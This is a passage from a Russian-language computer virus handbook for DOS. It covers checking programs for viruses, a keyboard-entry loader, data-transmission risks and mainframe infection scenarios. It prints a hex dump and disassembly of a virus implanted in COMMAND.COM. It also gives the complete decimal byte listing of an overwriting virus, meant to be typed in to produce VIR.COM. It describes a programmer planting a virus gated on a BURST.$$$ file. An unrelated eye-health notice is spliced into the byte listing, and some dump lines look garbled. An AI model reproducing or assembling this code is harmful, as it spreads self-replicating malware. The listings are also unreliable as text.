Жанр: Учеба
Большой справочник по компьютерным вирусам
...ставляет и исходный код. В результате каждый, получив-
ший программу. может проверить ее, дабы убедиться в ее "безв-
редности". Номало кто сумеет в написанной на Паскале програм-
ме длиной в 3000 строк отыскать 100 строк, реализующих вирус.
Итак, поставляемые вместе с программой исходные коды ничто
иное, как средство для отвода глаз? Действительно, можно
столкнуться с таким случаем, особенно тогда, когда нельзя
точно установить источник, откуда получена программа в исход-
ных кодах. Итак, и те программы, исходные коды которых Вы
имеете, требуют проверки на наличие вируса.
Составить программу-вирус на уровне машинного языка поч-
ти невозможно. О том, с какими проблемами можно встретиться в
- 241 -
этом случае, будет подробно говориться в разделе 15. Вирусы,
скомпилированные вместе со своей программой-носителем, очень
сложны для проверяющих, поскольку вирус и программа-носитель
образуют единую программу. В этом случае дающая стопроцентную
надежность проверка была бы дороже, чем разработка новой
программы. Несколько больше шансов для обнаружения вируса
имеет программист в том случае, когда вирус "прицепился" к
уже существующей программе. В этой ситуации чаще всего удает-
ся четко распознать сам вирус и его программу-носитель. При-
ведем в качестве примера внедрившейся в файл COMMAND.COM ви-
рус, описанный в 9.1:
1AAF:0100 90 90 90 B8 00 00 26 A3-A3 02 26 A3 A5 02 26 A2
. . . 8 . . & # # . & # % . & "
1AAF:0110 A7 02 B4 19 CD 21 2E A2-FA 02 B4 47 B6 00 04 01
' . 4 . M ! . " Z . 4 G 6 . . .
1AAF:0120 8A D0 8D 36 FC 02 CD 21-B4 0E B2 00 CD 21 3C 01
. P . 6 | . M ! 4 . 2 . M ! " .
1AAF:0130 75 02 BD 06 B4 00 8D 1E-9B 02 03 D8 83 C3 01 2E
u . 0 . 4 . . . . . . X . C . .
1AAF:0140 89 1E A3 02 F8 73 21 B4-17 8D 16 B0 02 CD 21 3C
. . # . x s ! 4 . . . 0 . M ! "
1AAF:0150 FF 75 15 B4 2C CD 21 2E-8B 1E A3 02 2E 8A 07 8B
. u . 4 , M ! . . . # . . . . .
1AAF:0160 DA B9 02 00 B6 00 CD 26-2E 8B 1E A3 02 4B 2E 89
Z 9 . . 6 . M & . . . # . K . .
1AAF:0170 1E A3 02 2E 8A 17 80 FA-FF 75 03 E9 00 01 B4 0E
. # . . . . . z . u . i . . 4 .
1AAF:0180 CD 21 B4 3B 8D 16 F8 02-CD 21 EB 54 90 B4 17 8D
M ! 4 ; . . x . M ! k T . 4 . .
1AAF:0190 16 BD 02 CD 21 B4 3B 8D-16 F8 02 CD 21 B4 4E B9
. 0 . M ! 4 ; . . x . M ! 4 N 9
1AAF:01A0 11 00 8D 16 AE 02 CD 21-72 9B 2E 8B 1E A5 02 43
. . . . . . M ! r . . . . % . C
1AAF:01B0 4B 74 09 B4 4F CD 21 72-8C 4B 75 F7 B4 2F CD 21
K t . 4 0 M ! r . R u w 4 / M !
1AAF:01CD 83 C3 1C 26 C7 07 20 5C-43 1E 8C CD 8E D8 8B D3
. C . & G . \ C . . @ . X . S
1AAF:01D0 B4 3B CD 21 1F 2E 8B 1E-A5 02 43 2E 89 1E A5 02
4 ; V ! . . . . % . C . . . % .
1AAF:01E0 B4 4E B9 01 00 8D 16 A8-02 CD 21 72 A0 EB 07 90
4 N 9 . . . . { . M ! r k . .
1AAF:01F0 B4 4F CD 21 72 97 B4 3D-B0 02 BA 9E 00 CD 21 8B
4 0 M ! r . 4 = 0 . : . . M ! .
1AAF:0200 D8 B4 3F B9 30 02 90 BF-00 E0 90 CD 21 B4 3E CD
X 4 ? 9 0 . . : . . M ! 4 M
1AAF:0210 21 2E 8B 1E 00 E0 81 FB-90 90 74 D4 B4 43 B0 00
! . . . . ` . { . . t T 4 C 0 .
1AAF:0220 BA 9E 00 CD 21 B4 43 B0-01 81 E1 FE 00 CD 21 B4
: . . M ! 4 C 0 . . a ~ . M ! 4
1AAF:0230 3D B0 02 BA 9E 00 CD 21-8B D8 B4 57 B0 00 CD 21
= 0 . : . . M ! . X 4 W 0 . M !
1AAF:0240 51 52 2E 8B 16 83 02 2E-89 16 30 E2 2E 8B 16 01
Q R . . . . . . . . 0 b . . . .
1AAF:0250 E0 8D 0E 82 01 2B D1 2E-89 16 83 02 B4 40 B9 30
` . . . . + Q . . . . . 4 @ 9 0
1AAF:0260 02 90 8D 16 00 01 CD 21-B4 57 B0 01 5A 59 CD 21
. . . . . . M ! 4 W 0 . Z Y M !
1AAF:0270 B4 3E CD 21 2E 8B 16 30-E2 2E 89 16 83 02 90 E8
4 M ! . . . 0 b . . . . . . h
1AAF:0280 07 00 E9 2B 0B B4 00 CD-21 B4 0E 2E 8A 16 FA 02
. . i + . 4 . M ! 4 . . . . z .
1AAF:0290 CD 21 B4 3B 8D 16 FB 02-CD 21 C3 FF 01 00 02 03
M ! 4 ; . . { . M ! C . . . . .
1AAF:02A0 FF 00 FF 9C 02 00 00 00-2A 2E 63 6F 6D 00 2A 00
. . . . . . . . z . c o m . z .
1AAF:02B0 FF 00 00 00 00 00 3F 00-3F 3F 3F 3F 3F 3F 3F 3F
. . . . . . ? . ? ? ? ? ? ? ? ?
1AAF:02C0 65 78 65 00 00 00 00 00-3F 3F 3F 3F 3F 3F 3F 3F
e x e . . . . . ? ? ? ? ? ? ? ?
1AAF:02D0 63 6F 6D 00 FF 00 00 00-00 00 3F 00 3F 3F 3F 3F
c o m . . . . . . . ? . ? ? ? ?
1AAF:02E0 3F 3F 3F 3F 3F 3F 3F 00-00 00 00 00 3F 3F 3F 3F
? ? ? ? ? ? ? . . . . . ? ? ? ?
1AAF:02F0 3F 3F 3F 3F 63 6F 6D 00-5C 00 01 5C 00 00 00 00
? ? ? ? c o m . \ . . \ . . . .
1AAF:0300 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
1AAF:0310 00 00 00 00 00 00 00 00-00 00 00 00 00 38 CD 21
. . . . . . . . . . . . . 8 M !
1AAF:0320 58 2B 06 25 3E 53 BB 10-00 F7 E3 5B 0B D2 74 03
X + . . " S ; . . w c [ . R t .
1AAF:0330 BF 81 3E 8E 06 B8 0B FC-B9 EF 0C 2B CE F3 A4 A1
? . " . . ; . | 9 o . + N s $ !
1AAF:0340 BF 0B A3 02 00 FF 2E B9-0B E8 01 00 CB 50 53 8B
? . # . . . . 9 . h . . K P S .
1AAF:0350 D8 B8 08 44 CD 21 73 04-0B C0 EB 05 25 01 00 F7
X 8 " D M ! s . . @ k . % . . w
Ясно видно, что в диапазоне 2АО-31С определяются нес-
колько констант, а выше 31Ch структура вновь изменяется. Это
обстоятельсно будет видно более ясно, если дисассемблировать
файл, начиная с адреса 100, и сравнить с сегментом, начиная с
адреса 31С.
По адресу 100 вначале идут три оператора NOP, что по
меньшей мере необычно. К тому же структура программы сравни-
тельно наглядна.
1AAF:0100 90 NOP
1AAF:0101 90 NOP
1AAF:0102 90 NOP
1AAF:0103 BS0000 MOV AX,0000
1AAF:0106 26A3A302 MOV ES: 02A3 ,AX
1AAF:010A 26A3A502 MOV ES: 02A5 ,AX
1AAF:010E 26A2A702 MOV ES: 02A7 ,AL
1AAF:0112 B419 MOV AH,19
1AAF:0114 CD21 INH 21
1AAF:0116 2EA2FA02 MOV CS: 02FA ,AL
1AAF:011A B447 MOV AH,47
1AAF:011C B600 MOV DH,00
1AAF:011E 0401 ADD AL,01
1AAF:0120 8AD0 MOV DL,AL
1AAF:0122 8D36FC02 LEA SI, 02FC
Такие программы имеют совершенно иную структуру, чем
приведенные выше. Однако это не может служить основанием для
того, чтобы сделать окончательные выводы, но в любом случае
каждая такая программа должна быть подвергнута тщательной
проверке прежде, чем ее использовать.
1AAF:031C 0038 AAD BX+SI ,BH
1AAF:031E CD21 INT 21
1AAF:0320 58 POP AX
1AAF:0321 2B06853E SUB AX, 3E85
1AAF:0325 53 PUSH BX
1AAF:0326 BB1000 MOV BX,0010
1AAF:0329 F7E3 MUL BX
1AAF:032B 5B POP BX
1AAF:032C 0BD2 OR DX,DX
1AAF:032E 7403 JZ 0333
1AAF:0330 BF813E MOV D1,3E81
1AAF:0337 FC CLD
1AAF:0338 B9EF0C MOV CX,0CEF
1AAF:033B 2BCE SUB CX,SI
1AAF:033D F3 REPZ
В заключение можно сказать, что при проведении проверки
на наличие вирусов никогда нельзя с полной уверенностью ска-
зать: "Программа свободна от вирусов". А потому вопрос, при-
менять ли такую программу, - это вопрос совести каждого. В
противных случаях дело обстоит значительно проще: если в
программе обнаруживается вирус, программу использовать нель-
зя. Усли при проверке программы обнаружится непонятный или
незадокументированный кусок, использовать такую программу
нельзы до тех пор, пока не будут сняты все вопросы относи-
тельно такого куска.
12.2 Вирусы в системах передачи данных
Хотя в последнее время в специальной прессе ситуацию с
вирусами часто драматизируют, опасность проникновения вирусов
через линии дистанционной передачи данных не больше, чем для
любого другого вида проникновения вирусов. И при использова-
нии линий дистанционной передачи данных нужно соблюдать те
жхе меры предосторожности, которые описаны в разделе 8 и да-
лее. Пока в "почтовый ящик" записываются только тексты или
программы, можно не задумываться над тем, что может возник-
нуть вирус. Опасность возникает лишь тогда, когда появляется
возможность запустить переданную программу. Но такого рода
почтовые ящики автору неизвестны. Поэтому вирус может проник-
нуть в переданную информацию лишь тогда, когда пользователь
запускает переданную через средства дистанционной передачи
данных программу на собственной ЭВМ. А здесь действуют те же
правила безопасности, что и для записанных на дискетах прог-
рамм.
Действительно серьезной опасности подвергаются те ЭВМ,
которые доступны через линии дистанционной передачи данных и
устройства сопряжения для абонентов всех уровней приоритетов.
Но о такой опасности (надо надеяться) знают все пользователи
соответствующих систем.
12.3 Средства изоляции
Для защиты от вирусов разработаны уже самы различные
концепции: Система, оснащенная лишь жестким диском (без дис-
кет), "усеченной" операционной системой (без DEBUG, LINK) и
пр.) и прикладными программами, не позволяющая вводить новые
программы. Но это утверждение, хотя на первый взгляд оно и
кажется логичным, не только неверно, но и опасно, если поль-
зователь, доверившись такой концепции, утратит бдительность.
Теперь читатель может спросить, как же ввести программу в
ЭВМ, если ЭВМ не имеет ни накопителя на гибких магнитных дис-
ках, ни ассемблера, ни отладчика. Решение совершенно очевид-
но. С помощью резидентной функции COPY MS-DOS может скопиро-
вать и любой введенный с клавиатуры файл. Поскольку обычно
вместе с клавишей ALT могут вводиться не все коды ASCII, нуж-
но вначале сгенерировать входную программу, воспользовавшись
следующей командой:
COPY CON INH.COM
(Десятичные числа вводить при нажатой клавише ALT).
049 192 162 064 001 180 060 185
032 032 186 057 001 205 033 080
187 065 002 184 007 012 178 255
205 033 136 007 067 129 251 093
004 117 240 088 137 195 180 064
185 028 002 186 065 002 205 033
180 062 144 205 033 180 076 205
033 086 073 082 046 067 079 077
^Z
Принцип действия программы ввода:
Поскольку NUL не может быть введена с консоли, имя файла
программы должно завершаться OOHEX.
2075:0100 31C0 XOR AX,AX
2075:0102 A24001 MOV 0140 ,AL
Создать и открыть файл
2075:0105 B43C MOV AH,3C
2075:0107 B92020 MOV CX,2020
2075:010A BA3901 MOV DX,0139
2075:010D CD21 INT 21
Обращение к стеку
2075:010F 50 PUSH AX
Считать в цикле 540 байтов без эхо-контроля по консоли и за-
писать в буфер.
2075:0110 BB4102 MOV BX,0241
2075:0113 B8070C MOV AX,0C07
2075:0116 B2FF MOV DL,FF
2075:0118 CD21 INT 21
2075:011A 8807 MOV BX ,AL
2075:011C 43 INC BX
2075:011D 81FB5D04 CMP BX,045D
2075:0121 75FD JNZ 0113
Завершить обработку стека
2075:0123 58 POP AX
Записать содержимое буфера в файл
2075:0124 89C3 MOV BX,AX
2075:0126 B440 MOV AH,40
2075:0128 B91C02 MOV CX,021C
2075:0128 BA4102 MOV DX,0241
2075:012E CD21 INT 21
Закрыть файл
2075:0130 B43E MOV AH,3E
2075:0132 90 NOP
2075:0133 CD21 INT 21
Завершить программу
2075:0435 B44C MOV AH,4C
2075:0137 CD21 INT 21
Имя генерируемого файла стоит перед буфером:
2075:0130 B4 3E 90 CD B4 4C CD-21 56 49 52 2E 43 4F 4D
V I R . C O M
После того, как программа запущена с помощью INP, можно
вводить с клавиатуры все коды ASCII (но без эхо-контроля,
т.е. без отображения вводимых данных на экране). Лишь код NUL
должен вводиться с помощью ALT 2 (с использованием верхних
цифровых клавиш клавиатуры). С помощью такой программы можно
ввести приведенную ниже программу-вирус. Речь здесь идет о
перезаписывающем вирусе из раздела 10.1. Правда, тут есть от-
личия в обращении к дисководу, которые работают безошибочно
лишь при использовании DOS версии 2.11.
После 540 байтов ввод завершается автоматически и прог-
рамма VIR.COM сгенерирована.
144 144 144 184 000 000 038 163
163 002 038 163 165 002 038 162
167 002 180 025 205 033 046 162
250 002 180 071 182 000 004 001
138 208 141 054 252 002 205 033
180 014 178 000 205 033 060 001
117 002 176 006 180 000 141 030
155 002 003 216 131 195 001 046
137 030 163 002 248 115 033 180
023 141 022 176 002 205 033 060
255 117 021 180 044 205 033 046
139 030 163 002 046 138 007 139
218 185 002 000 182 000 205 038
046 139 030 163 002 075 046 137
030 163 002 046 138 023 128 250
255 117 003 233 000 001 180 014
205 033 180 059 141 022 248 002
205 033 235 084 144 180 023 141
022 176 002 205 033 180 059 141
022 248 002 205 033 180 078 185
017 000 141 022 174 002 205 033
114 155 046 139 030 165 002 067
075 116 009 180 079 205 033 114
140 075 117 247 180 047 205 033
131 195 028 038 199 007 032 092
067 030 140 192 142 216 139 211
180 059 205 033 031 046 139 030
165 002 067 046 137 030 165 002
180 078 185 001 000 141 022 168
002 205 033 114 160 235 007 144
180 079 205 033 114 151 180 061
176 002 186 158 000 205 033 139
216 180 063 185 048 002 144 186
000 224 144 205 033 180 062 205
033 046 139 030 000 224 129 251
144 144 116 212 180 067 176 000
186 128 000 205 033 180 067 176
001 129 225 254 000 205 038 180
061 176 002 186 158 000 205 033
139 216 180 087 176 000 205 033
081 082 046 139 022 131 002 046
137 002 048 226 046 139 022 001
224 141 014 130 001 043 209 046
137 022 131 002 180 064 185 048
002 144 141 022 000 001 205 033
Посмотри в окно!
Чтобы сохранить великий дар природы — зрение,
врачи рекомендуют читать непрерывно не более 45–50 минут,
а потом делать перерыв для ослабления мышц глаза.
В перерывах между чтением полезны
гимнастические упражнения: переключение зрения с ближней точки на более дальнюю.
180 087 176 001 090 089 205 033
180 062 205 033 046 139 022 048
226 046 137 022 131 002 144 232
007 000 233 000 000 180 000 205
033 180 014 046 138 022 250 002
205 033 180 059 141 022 251 002
205 033 195 255 000 000 000 000
255 000 255 000 000 000 000 000
042 046 099 111 109 000 042 000
255 000 000 000 000 000 063 000
063 063 063 063 063 063 063 063
101 120 101 000 000 000 000 000
063 063 063 063 063 063 063 063
099 111 109 000 255 000 000 000
000 000 063 000 063 063 063 063
063 063 063 063 063 063 063 000
000 000 000 000 063 063 063 063
063 063 063 063 099 111 109 000
092 000 000 092 000 000 000 000
000 000 000 000 000 000 000 000
000 000 000 000 000 000 000 000
000 000 000 000 000 000 000 000
000 000 000 000 000 000 000 026
Тот, кто обладает хорошей памятью, может даже запомнить
эти колонки цифр. Хороший оператор по вводу данных мог бы
ввести вирус с клавиатуры примерно за пять минут.
Еочно также можно работать и через интерфейс СОМ и даже
(с помощью другой вспомогательной программы) через интерфейс
параллельного печатающего устройства.
12.4 Программисты
Эта книга до последнего времени мало уделала внимания
кругу лиц, имеющих наилучшие возможности для доступа к ЭВМ,
т.е. программистам. Для многих организаций-разработчиков
программного обеспечения программы обычно снабжаются блоки-
ровкой по дате, которую можно снять лишь тогда, когда пол-
ностью улажены взаимные расчеты, хотя многие узнают об этом
лишь при изучении настоящей книги. Такие методы, возможно,
нахродятся где-то на грани дозволенных, но если бы точно
знать, чего нельзя делать, когда это делается просто потому,
что не знаешь точно, что и когда следовало бы делать. Итак,
если блокировка по дате вводится тогда, когда не произведены
расчеты, то это не является блокировкой по дате, а скорее
ошибкой в программе, которую каждый раз можно устранить.
Но почему должны программисты поступать не так, как доз-
волено фирмам, производящим программное обеспечение?
В некодированном тексте это может быть определенный зап-
рос, который программист встраивает в программу своего рабо-
тодателя. Так, например, могло бы проверяться существование
файла BURST.$$$. Естественно, такой служащий позаботится о
том, чтобы этот файл постоянно имелся в наличии. Если ему
придется уволиться, его последователь с гарантией обнаружит
на первый взгляд избыточный файл и удалит его. Откуда ему
знать. что этот файл содержит сведения, препятствующие расп-
ространению созданного его предшественником вируса?
Рассуждения такого рода могут завести очень далеко. Еще
одна опасность распространения вирусов возникает при тестиро-
вании программного продукта при его приобретении или при из-
менениях. Если там появляется потенциальный покупатель или
программист, чтобы проверить, будет ли работать его программ-
ное обеспечение на ЭВМ поставщика ХУ, кто бы отказал в такой
просьбе?
13. Степень обеспечения безопасности
Зная пути распространения вирусов, Вы сможете несколько
снизить риск "заражения" системы при соблюдении определенных
мер безопасности. В этой главе описываются ситуации, которым
обычно не придается никакого значения. Однако именно их недо-
оценка может привести к опасным последствиям.
Эти проблемы в средствах защиты изучил Бернд Фикс и сде-
лал ряд рекомендаций, следование которым должно снизить опас-
ность проникновения вирусов в большие ЭВМ. Прежде чем подроб-
нее остановиться на отдельных "рискованных" ситуациях, приве-
дем здесь текст Б.Фикса, который касается проникновения и
распространения вирусов в больших ЭВМ и тоже охватывает два
"сценария распространения инфекции":
"КОМПЬЮТЕРНЫЕ ВИРУСЫ В БОЛЬШИХ ЭВМ
Компьютерные вирусы представляют опасность не только для
персональных ЭВМ - большие ЭВМ в той же степени подвержены
этим "болезням". Поскольку (по крайней мере сегодня) большие
ЭВМ и связывающие их сети данных являются нервной системой
нашего развивающегося информационного общества, внедрение ви-
руса в одну из таких систем могло бы нанести очень большой
ущерб, гораздо больший, чем поражение вирусом одной "изолиро-
ванной" ПЭВМ.
Вообще говоря, вирусы действуют в больших компьютерных
системах по тому же принципу, что и в ПЭВМ. Различие заключа-
ется в основном в организации данных и архитектуре системы на
большой ЭВМ, которые значительно отличаются от структуры дан-
ных и архитектуры ПЭВМ. Потому не будем больше говорить о
функции вирусов вообще, а остановимся на том, как может про-
исходить распространение вирусов в больших ЭВМ в специальных
условиях.
Распространение вируса
Распространение вируса от одной ПЭВМ к другой (а следо-
вательно, от одного пользователя к другому) связано, как пра-
вило, с обменом дискетами. Такой механизм распространения ви-
русов в больших ЭВМ не может существовать или играет лишь
второстепенную роль, поскольку ему препятствует организация
данных в больших ЭВМ:
На одной такой машине работают, как правило, очень много
пользователей (100-1000 пользователей, в зависимости от мощ-
ности ЭВМ). Данные пользователей хранятся, как правило, не на
переносном носителе (за исключением магнитных лент, использу-
емых в качестве резервной копии), а постоянно находятся на
дисках/лентах. Но в результате возникает необходимость отде-
лять данные одного пользхователя от данных другого пользова-
теля, т.е. в принципе каждый пользователь может иметь право
доступа для чтения/записи лишь к собственным данным и право
чтения системных утилит. Итак, собственные данные и части
операционной системы образуют некий замкнутый, изолированный
от других пользователей уровень пользователя. Итак, вирус,
который появился на уровне пользователя, не может распростна-
ниться на уровень другого пользователя, поскольку он не может
получить право записи данных на уровне другого пользователя
(что необходимо для распространения инфекции). В практической
работе это строгое разграказывается
помехой, а потому в большенстве вычислитенльных
систем пользователю разрешен доступ к данным некоторой
определенной группы других пользователей (например, к данным
сотрудников того же отдела), причем доступ с правом чтения/записи.
К тому же сотрудники вычислительного центра имеют
доступ ко ВСЕМ данным пользователей (естественно, только в
рамках своих служебных обязанностей на ВЦ). Следовательно,
возможно распространение вируса подобно тому, как это происходит
при обьеме дискетами, но с тем лишь ограничением, что это
касается определенной группы пользователей - пользователям вне
этой группы опасность проникновения вируса не угрожает.
Другой особенностью больших ЭВМ, сказывающейся на распространении
вирусов, является принцип иерархического упорядочения
пользователей по приоритетам. Такие приоритеты регулируют
право доступа пользователя к чужим записям данных, в частности,
к библиотекам программ и к стандартным программам операционной
системы. Чем выше приоритет, тем больше каталог файлов,
к которым пользователь получает доступ с правом перезаписи.
Причем программа в ЭВМ имеет тот же приоритет, что и пользователь,
который ее запустил на выполнение.
Покажем на двух примерах, как вирус может проникнуть в
компьютерную систему и как он может там распространяться.
Компьютерные вирусы, возникающие на уровне пользователя без
привилегий, в состоянии работать в системе "на более высоком
уровне". Факторы, которые делают возможным такое распространение
вируса на уровень привилегированного пользователя, имеют
не техническую природу, т.е. вообще говоря, не зависят от собственно
компьютера и его операционной системы. Оказалось, что
важную роль в таком распространении играют отлаживаемые режимы
эксплуатации и родившаяся из стандартных программ практика
ввода компьютера в эксплуатацию.
_"Сценарий совещаний"
На совещании вводном вычислительном центре университета
присутствовал пользователь А, известный вычислительному центру
как непрограммист. Этот пользователь А лишь управляет прикладными
программами для своей области деятельности; такие программы
предоставляются ему его коллегами из другого университета.
Уже примерно 2 года он использует эти программы без каких-либо
достойных упоминания проблем.
Внезапно одна из этих программ стала работать со сбоями.
Он обратился к пользователю В, чтобы получить помощь, поскольку
непрограммист не в состоянии преодолеть сам эти трудности.
Пользователь В взялся разобраться в ситуации. Для этого, ему
нужно было прежде всего запустить программу и выяснить для себя
проблему. Но и ему поведение программы вначале показалось
непонятным. Поэтому он попросил пользователя А скопировать
программу, чтобы позднее не торопясь проанализировать ситуацию
и быстрее отыскать причину ошибки. Пользователь А согласился и
скопировал программу на уровнь пользователя В. Спустя какое-то
время В попытался отыскать ошибку в программе. Анализ программных
кодов невозможен без определенных сложностей, поскольку
программа генерируется компилятором и потому очень длинна и к
тому же не снабжена комментариями. Итак, пользователь В запустил
программу еще раз с монитора, чтобы по крайней мере составить
самое приближенное представление о ходе выполнения программы.
При этом он установил, что определенные участки программы
не выполняются. И при следующем прогоне эти участки не
использовались.
Его обьяснением было, что переход в эту область осуществляется
по условию, но из-за какой-то двоичной ошибки мог измениться
один из управляющих флажков. Поскольку, как говорилось
выше, точный анализ программы требует определенных затрат времени,
пользователь В принял решении стереть программу на своем
уровне. Он сообщил пользователю А, что найти ошибку ему не
удалось, и посоветовал вновь обратиться по поводу этой прог-
раммы к своим коллегам. Два дня спустя все программы вычислительного
центра были заражены вирусом.
Сейчас не будем исследовать, кто создал вирус и почему он
привел к сбою в прикладной программе пользователя а. Возможно,
он занесен несколько лет назад с какими-то другими
...Закладка в соц.сетях